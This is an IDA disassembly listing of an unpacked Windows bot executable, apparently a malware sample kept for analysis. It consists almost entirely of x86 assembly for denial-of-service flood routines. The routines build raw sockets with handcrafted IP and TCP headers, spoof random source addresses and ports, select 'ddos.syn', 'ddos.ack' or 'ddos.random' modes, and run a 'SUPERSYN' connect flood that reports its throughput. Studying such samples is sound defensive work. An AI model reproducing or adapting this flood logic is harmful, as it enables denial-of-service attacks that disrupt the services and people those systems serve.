;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	EC0D071732DFCD29FFE4D679F1E99741

; File Name   :	u:\work\ec0d071732dfcd29ffe4d679f1e99741_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000D0000 ( 851968.)
; Section size in file		: 000D0000 ( 851968.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40EE72+3A15o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		nop
		call	near ptr 2610763h
		push	eax
		call	sub_417302
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013EC
		add	esp, 14h
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_426050
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401093
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40D679
		add	esp, 14h


loc_401093:				; CODE XREF: sub_401000+71j
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_290]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26102D5h
		nop
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B5	proc near		; CODE XREF: sub_4013EC+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43AD10
		test	eax, eax
		jz	short loc_4010F5
		xor	eax, eax
		jmp	loc_4013E8
; ---------------------------------------------------------------------------


loc_4010F5:				; CODE XREF: sub_4010B5+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43AE3C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013E0
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_43AD78
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D6
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_43AD98
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_43AD98
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_43AD98
		mov	[ebp+var_12], ax
		call	sub_41730C
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43AD98
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_43AD94
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C5
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401219
; ---------------------------------------------------------------------------


loc_4011C5:				; CODE XREF: sub_4010B5+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011E1
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401219
; ---------------------------------------------------------------------------


loc_4011E1:				; CODE XREF: sub_4010B5+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401219
		call	sub_41730C
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41730C
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_401219:				; CODE XREF: sub_4010B5+10Ej
					; sub_4010B5+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_43AD98
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2620000h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 26107DCh
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_401267:				; CODE XREF: sub_4010B5+2E2j
					; sub_4010B5+2F0j
		mov	[ebp+var_4], bx
		call	sub_41730C
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43AD98
		mov	[ebp+var_14], ax
		call	sub_41730C
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730C
		or	edi, eax
		push	edi
		call	dword_43AD98
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43AD94
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43AD98
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_43ADFC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013AA
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 26107DCh
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D3
		jl	loc_401267
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D3
		jmp	loc_401267
; ---------------------------------------------------------------------------


loc_4013AA:				; CODE XREF: sub_4010B5+2CBj
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_426088
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_4013D6
; ---------------------------------------------------------------------------


loc_4013D3:				; CODE XREF: sub_4010B5+2E0j
					; sub_4010B5+2EEj
		mov	ebx, [ebp+arg_8]


loc_4013D6:				; CODE XREF: sub_4010B5+78j
					; sub_4010B5+31Cj
		push	[ebp+var_20]
		call	dword_43AE30
		pop	esi


loc_4013E0:				; CODE XREF: sub_4010B5+5Bj
		call	dword_43ACF8
		mov	eax, ebx


loc_4013E8:				; CODE XREF: sub_4010B5+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013EC	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730C
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B5
		add	esp, 20h
		test	eax, eax
		jnz	short loc_40143B
		push	1
		pop	eax


loc_40143B:				; CODE XREF: sub_4013EC+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40144A	proc near		; DATA XREF: sub_40EE72+3C03o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_43AE18
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E5
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_3BC]


loc_401493:				; DATA XREF: ___:off_4282ACo
		push	offset unk_426214
		push	eax
		call	sub_4172B0
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C8
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_4014C8:				; CODE XREF: sub_40144A+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 26102D5h
		nop


loc_4014E5:				; CODE XREF: sub_40144A+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_43AD78
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40155C
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4261CC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_40153F:				; CODE XREF: sub_40144A+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26102D5h


loc_40155C:				; CODE XREF: sub_40144A+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C3
		lea	eax, [ebp+var_3BC]
		push	offset unk_42619C
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A6
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_4015A6:				; CODE XREF: sub_40144A+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26102D5h


loc_4015C3:				; CODE XREF: sub_40144A+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_43AD98
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43ADD8
		mov	esi, dword_424058
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi
		mov	[ebp+var_8], eax


loc_401601:				; CODE XREF: sub_40144A+2E8j
		call	esi
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017AC
		push	41Ch
		mov	byte_436AB8, 45h
		call	dword_43AD98
		cmp	[ebp+var_2C], edi
		mov	word_436ABA, ax
		mov	word_436ABC, bx
		mov	word_436ABE, di
		mov	byte_436AC0, 80h
		mov	byte_436AC1, bl
		mov	word_436AC2, di
		jz	short loc_401687
		call	sub_41730C
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		push	1
		mov	dword_436AC4, ebx
		pop	ebx
		jmp	short loc_40169F
; ---------------------------------------------------------------------------


loc_401687:				; CODE XREF: sub_40144A+20Bj
		push	[ebp+var_1BC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		mov	dword_436AC4, eax


loc_40169F:				; CODE XREF: sub_40144A+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_436AC8, eax
		call	sub_41730C
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_436ACC, dl
		call	sub_41730C
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_436ACD, dl
		call	sub_41730C
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_436ACE, di
		mov	word_436AD2, bx
		inc	edx
		mov	word_436AD0, dx
		call	sub_41730C
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_436AD4
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_436AB8
		push	[ebp+var_4]
		call	dword_43ADFC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401737
		inc	[ebp+arg_0]
		jmp	loc_401601
; ---------------------------------------------------------------------------


loc_401737:				; CODE XREF: sub_40144A+2E3j
		push	[ebp+var_4]
		call	dword_43AE30
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_42613C
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_40178F:				; CODE XREF: sub_40144A+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26102D5h


loc_4017AC:				; CODE XREF: sub_40144A+1C8j
		push	[ebp+var_4]
		call	dword_43AE30
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4260DC
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401814
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_401814:				; CODE XREF: sub_40144A+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26102D5h
sub_40144A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401831	proc near		; DATA XREF: sub_40EE72+159Do

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401992
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset aSupersynDoneWi ; "[SUPERSYN]: Done with	flood (%iKB/sec)"
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4018B1
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h


loc_4018B1:				; CODE XREF: sub_401831+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D5h
		pop	edi
		pop	esi
sub_401831	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018D0	proc near		; CODE XREF: sub_401992+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_43AD98
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_40198E
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_40191B:				; CODE XREF: sub_4018D0+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401923:				; CODE XREF: sub_4018D0+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_401946
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB155Ah
		nop


loc_401946:				; CODE XREF: sub_4018D0+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_401923
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401954:				; CODE XREF: sub_4018D0+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_401954
		push	64h
		call	near ptr 2620494h
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401978:				; CODE XREF: sub_4018D0+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_401978
		dec	[ebp+arg_4]
		jnz	short loc_40191B
		pop	edi
		pop	esi
		pop	ebx


loc_40198E:				; CODE XREF: sub_4018D0+3Ej
		xor	eax, eax
		leave
		retn
sub_4018D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401992	proc near		; CODE XREF: sub_401831+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4018D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4019C8
		push	1
		pop	eax


loc_4019C8:				; CODE XREF: sub_401992+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019D7	proc near		; DATA XREF: sub_40EE72+3906o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401D28
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_426280
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401A57
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h


loc_401A57:				; CODE XREF: sub_4019D7+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D5h
		pop	edi
		pop	esi
sub_4019D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A76	proc near		; CODE XREF: sub_401D28+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43AD10
		test	eax, eax
		jz	short loc_401AB6
		xor	eax, eax
		jmp	loc_401D24
; ---------------------------------------------------------------------------


loc_401AB6:				; CODE XREF: sub_401A76+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43AE3C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401D1C
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_43AD78
		cmp	eax, 0FFFFFFFFh
		jz	loc_401D12
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_43AD98
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_43AD98
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
